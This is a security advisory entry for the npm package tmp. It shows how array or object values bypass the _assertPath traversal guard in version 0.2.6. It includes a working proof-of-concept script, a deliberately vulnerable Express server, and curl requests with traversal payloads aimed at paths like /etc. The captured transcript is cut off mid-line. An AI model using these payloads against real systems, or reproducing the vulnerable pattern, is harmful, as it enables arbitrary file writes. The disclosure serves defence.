tmp: Type-confusion bypass of _assertPath allows path traversal via non-string prefix/postfix/template

When

2026-06-15 16:36 UTC

Where

Global (internet)

Category

cyber_advisory · npm

### Summary The `_assertPath` guard added to `tmp@0.2.6` rejects only string values that contain the substring `..`. It is bypassed when `prefix`, `postfix`, or `template` is supplied as a non-string value (Array, Buffer, or any object) whose `includes('..')` returns falsy but whose stringification still contains `../`. The value flows through `Array.prototype.join`/`String` coercion inside `_generateTmpName` and `path.join(tmpDir, opts.dir, name)`, producing a final path that escapes `tmpdir` and creates a file or directory at an attacker-controlled location with the host process's privileges. This affects any application that forwards untrusted request data (a common pattern is JSON body fields or `qs`-parsed bracket-array query strings such as `?prefix[]=...`) into `tmp.file`, `tmp.fileSync`, `tmp.dir`, `tmp.dirSync`, `tmp.tmpName`, or `tmp.tmpNameSync` without explicit type coercion. ### Impact - Arbitrary file creation outside the intended temporary directory, with the running process's filesystem permissions. - Directory creation outside the intended tree (via `tmp.dir{,Sync}`), which can then host a subsequent symlink swap. - File content that the application writes to the returned descriptor lands at the attacker's chosen path. In multi-tenant services this crosses tenant boundaries; in CI/build systems it can write into source trees, build outputs, or web roots. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L - score 8.1 (High). Network-reachable when the consumer passes request data unchanged. ### Affected versions `tmp` >= 0.2.6 (the `_assertPath` guard introduced by commit 7ef2728 / merged in efa4a06f). Earlier releases are vulnerable to the plain string form (already published as a separate advisory) plus this bypass. ### Vulnerable code `lib/tmp.js` at tag `v0.2.6`, commit 41f7159: ```javascript // lib/tmp.js:533-539 function _assertPath(path) { if (path.includes("..")) { throw new Error("Relative value not allowed"); } return path; } ``` ```javascript // lib/tmp.js:577-580 options.prefix = _isUndefined(options.prefix) ? '' : _assertPath(options.prefix); options.postfix = _isUndefined(options.postfix) ? '' : _assertPath(options.postfix); options.template = _isUndefined(options.template) ? undefined : _assertPath(options.template); ``` ```javascript // lib/tmp.js:515-525 - opts.prefix and opts.postfix are stringified by Array.prototype.join const name = [ opts.prefix ? opts.prefix : 'tmp', '-', process.pid, '-', _randomChars(12), opts.postfix ? '-' + opts.postfix : '' ].join(''); return path.join(tmpDir, opts.dir, name); ``` Root cause: `_assertPath` assumes its argument is a string. For an `Array` argument, `Array.prototype.includes('..')` checks element equality (so `['../escape'].includes('..')` is `false`); for an arbitrary object, `Object.prototype.includes` does not exist and a duck-typed `includes: () => false` defeats the check entirely. In both shapes, the subsequent `[...].join('')` and `path.join(...)` coerce the value to its underlying string, which still contains `../`. ### How untrusted data reaches `_assertPath` Two production-realistic shapes that yield a non-string `prefix`/`postfix`/`template`: 1. JSON request bodies. `express.json()` (and any other JSON body parser) preserves the parsed value's type. A body of `{"prefix":["../escape"]}` reaches the handler as an Array. 2. `qs`-style bracket-array query strings. Express 4's default `qs` parser turns `?prefix[]=../escape` into `['../escape']`. The same applies to any framework using `qs` (Fastify, Koa with bodyparser, Hapi via configured parsers, etc.). The consumer pattern is the natural one - forward `req.body.prefix` directly into `tmp.file({ prefix, tmpdir })` with no developer-side coercion. The 0.2.6 release notes describe the guard as preventing prefix/postfix traversal, so consumers reasonably believe the guard covers the typical input flow. ### Proof of concept (string vs array) `poc.js` (run after `npm install tmp@0.2.6`): ```javascript const tmp = require('tmp'); const path = require('path'); const fs = require('fs'); const baseDir = fs.mkdtempSync('/tmp/safe-base-'); console.log('[negative control] string "../escape" - must be blocked'); try { const r = tmp.fileSync({ tmpdir: baseDir, prefix: '../escape' }); console.log(' UNEXPECTED, file at:', r.name); r.removeCallback(); } catch (e) { console.log(' BLOCKED as expected:', e.message); } console.log('\n[bypass] array ["../escape"] - same effective value, not blocked'); try { const r = tmp.fileSync({ tmpdir: baseDir, prefix: ['../escape'] }); console.log(' CREATED at:', r.name); console.log(' ESCAPED:', !path.resolve(r.name).startsWith(path.resolve(baseDir))); r.removeCallback(); } catch (e) { console.log(' BLOCKED:', e.message); } console.log('\n[bypass] duck-typed object {toString, includes} - also not blocked'); try { const r = tmp.fileSync({ tmpdir: baseDir, prefix: { toString: () => '../escape', includes: () => false } }); console.log(' CREATED at:', r.name); console.log(' ESCAPED:', !path.resolve(r.name).startsWith(path.resolve(baseDir))); r.removeCallback(); } catch (e) { console.log(' BLOCKED:', e.message); } ``` Observed output on `tmp@0.2.6`: ```text [negative control] string "../escape" - must be blocked BLOCKED as expected: Relative value not allowed [bypass] array ["../escape"] - same effective value, not blocked CREATED at: /private/tmp/escape-78856-D3p4mEWyapSn ESCAPED: true [bypass] duck-typed object {toString, includes} - also not blocked CREATED at: /private/tmp/escape-78856-zP4qXkRm12Lf ESCAPED: true ``` ### End-to-end reproduction (against the deployed npm package) Install: ```bash mkdir tmp-bypass-poc && cd tmp-bypass-poc npm init -y npm install tmp@0.2.6 express@5 ``` `victim-server.js` - realistic Express app that forwards a JSON body field into `tmp.file`: ```javascript const express = require('express'); const tmp = require('tmp'); const fs = require('fs'); const path = require('path'); const app = express(); app.use(express.json()); const TENANT_BASE = fs.mkdtempSync('/tmp/tenant-base-'); console.log('[victim] Tenant base dir:', TENANT_BASE); app.post('/upload', (req, res) => { const userPrefix = req.body.prefix; // attacker-controlled console.log('[victim] received prefix:', JSON.stringify(userPrefix), '(type:', Array.isArray(userPrefix) ? 'array' : typeof userPrefix, ')'); tmp.file({ tmpdir: TENANT_BASE, prefix: userPrefix }, (err, filepath, fd, cleanup) => { if (err) { console.log('[victim] tmp error:', err.message); return res.status(400).json({ error: err.message }); } fs.writeSync(fd, 'attacker-controlled-content'); fs.closeSync(fd); const escaped = !path.resolve(filepath).startsWith(path.resolve(TENANT_BASE)); console.log('[victim] file created at:', filepath, 'ESCAPED:', escaped); res.json({ filepath, escaped, tenantBase: TENANT_BASE }); }); }); app.listen(3000, () => console.log('[victim] http://127.0.0.1:3000')); ``` Run: ```bash node victim-server.js & ``` Drive three requests from another shell: ```bash echo '=== ATTACK 1: string prefix - caught by 0.2.6 ===' curl -s -X POST -H 'Content-Type: application/json' \ -d '{"prefix":"../escape-string"}' http://127.0.0.1:3000/upload echo echo '=== ATTACK 2: array prefix - bypasses 0.2.6 ===' curl -s -X POST -H 'Content-Type: application/json' \ -d '{"prefix":["../escape-array"]}' http://127.0.0.1:3000/upload echo echo '=== ATTACK 3: multi-level traversal toward /etc ===' curl -s -X POST -H 'Content-Type: application/json' \ -d '{"prefix":["../../../etc/poc-tmp-bypass"]}' http://127.0.0.1:3000/upload ``` Captured transcript (verbatim from the test rig): ```text === ATTACK 1: string prefix - caught by 0.2.6 === {"error":"Relative value not allowed"} === ATTACK 2: array prefix - bypasses 0.2.6 === {"filepath":"/private/tmp/escape-array-79635-

Sources

• GitHub Advisory Database ↗ · first seen 2026-06-15 16:36 UTC

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